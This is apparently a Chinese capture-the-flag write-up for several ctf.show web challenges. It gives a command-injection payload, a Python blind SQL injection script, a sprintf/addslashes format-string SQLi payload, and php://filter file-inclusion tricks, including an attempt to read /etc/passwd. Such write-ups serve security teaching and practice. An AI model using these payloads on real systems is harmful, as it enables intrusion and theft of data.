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签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

payload

?url=127.0.0.1;cat flag;com

flag{ac699423-7fc3-41f5-8c38-f95984db08fd}

数学及格了

环境损坏

萌新记忆

登录成功即可得到flag
扫描后台发现admin目录，打开是一个登录页面，
用户名为admin
猜测一下密码字段名（password、passwd、pass、p）和其长度,payload:’||length§<‘100
发现当字段名为p时为第三种返回结果当长度为18是返回结果发生变化，所以字段长度为17，因为substr没有被屏蔽所以猜测字
段值的payload为’||substr(p,1,1)<'a
数据库的语法应该为

SELECT password FROM user WHERE username=''||length(password)<5
SELECT password FROM user WHERE username=''||substr(password,1,1)<'g';
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所以password字段长度为5-1=4，password第一位为chr(ord(‘g’)-1) 为f
根据这个原理，编写代码如下：

import requests

flag = ''
for i in range(1, 18):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz':
        url = "http://389ae6fd-6889-44cc-8427-e845bd2ff653.chall.ctf.show/admin/checklogin.php"
        data = {"u": "'||substr(p,{},1)<'{}".format(i,j),
                "p": ""
                }
        # print(data)
        c = requests.post(url, data=data)
        # print(c.text)
        if '用户名' not in c.text:
            flag += chr(ord(j)-1)
            print(flag)
            break

得到密码，用户名为admin，登陆得到flag

假赛生

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>



提示：register.php login.php 大佬们别扫了
先用admin空格，密码1 注册
然后登陆用admin，1 登陆
c绕过正则就行，c为空格就行

给她

git泄露，得到源码

发现hint.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

sprintf和addslashes有个漏洞，从WordPress SQLi谈PHP格式化字符串问题
直接利用payload

?name=1&pass=%1$' or 1%23

右键查看源码，提示flag位置

https://paper.seebug.org/386/#0x02


该页面应该存在文件包含漏洞，

666c61672e747874十六进制转字符为flag.txt
尝试读取/etc/passwd

直接读取/flag，发现提示没有flag

尝试伪协议读取，php://filter/read=convert.base64-encode/resource=/flag



改用php://filter/read=string.rot13/resource=flag

rot13得到flag
flag{03a79b86-45c6-4706-99c6-375460632199}
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